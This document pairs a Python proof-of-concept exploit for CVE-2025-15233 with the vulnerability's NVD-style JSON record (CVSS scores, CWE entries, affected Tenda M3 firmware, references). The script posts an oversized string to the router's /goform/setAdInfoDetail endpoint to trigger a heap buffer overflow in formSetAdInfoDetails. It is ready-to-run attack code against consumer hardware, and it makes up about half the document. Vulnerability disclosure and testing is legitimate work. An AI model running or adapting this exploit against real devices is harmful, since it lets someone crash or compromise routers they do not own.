CVE-2025-15233

#!/usr/bin/env python3 """ CVE-2025-15233 PoC - Tenda M3 Heap Buffer Overflow This PoC demonstrates the heap buffer overflow vulnerability in Tenda M3's formSetAdInfoDetails function. Note: Use only for authorized security testing. """ import requests import argparse TARGET_HOST = "http://{target_ip}" ENDPOINT = "/goform/setAdInfoDetail" def create_exploit_payload(param_name, overflow_length=1000): """ Create a payload that triggers heap buffer overflow. The function formSetAdInfoDetails copies user input to a fixed-size heap buffer without proper length checking. """ # Generate overflow data overflow_data = "A" * overflow_length payload = { param_name: overflow_data } return payload def exploit_cve_2025_15233(target_ip, param="adName", overflow_length=1000): """ Send exploit payload to trigger the vulnerability. Args: target_ip: Target device IP address param: Parameter to overflow (adName, smsPassword, smsAccount, etc.) overflow_length: Length of overflow data """ url = f"{TARGET_HOST.format(target_ip=target_ip)}{ENDPOINT}" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } payload = create_exploit_payload(param, overflow_length) print(f"[*] Targeting: {url}") print(f"[*] Overflow parameter: {param}") print(f"[*] Payload length: {overflow_length}") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-15233 PoC") parser.add_argument("target_ip", help="Target Tenda M3 IP address") parser.add_argument("-p", "--param", default="adName", help="Parameter to overflow (default: adName)") parser.add_argument("-l", "--length", type=int, default=1000, help="Overflow length (default: 1000)") args = parser.parse_args() exploit_cve_2025_15233(args.target_ip, args.param, args.length)

{"cve": {"id": "CVE-2025-15233", "sourceIdentifier": "[email protected]", "published": "2025-12-30T08:15:43.300", "lastModified": "2026-02-24T07:17:05.187", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Tenda M3 1.0.0.13(4903). This issue affects the function formSetAdInfoDetails of the file /goform/setAdInfoDetail. The manipulation of the argument adName/smsPassword/smsAccount/weixinAccount/weixinName/smsSignature/adRedirectUrl/adCopyRight/smsContent/adItemUID results in heap-based buffer overflow. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:m3_firmware:1.0.0.13\\(4903\\):*:*:*:*:*:*:*", "matchCriteriaId": "7E8A3AB9-7717-427B-8C76-1A5BCF42C08E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:m3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8543333-41FC-48B4-B14C-D763495A1017"}]}]}], "references": [{"url": "https://github.com/dwBruijn/CVEs/blob/main/Tenda/setAdInfoDetail.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.338629", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.338629", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.725495", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}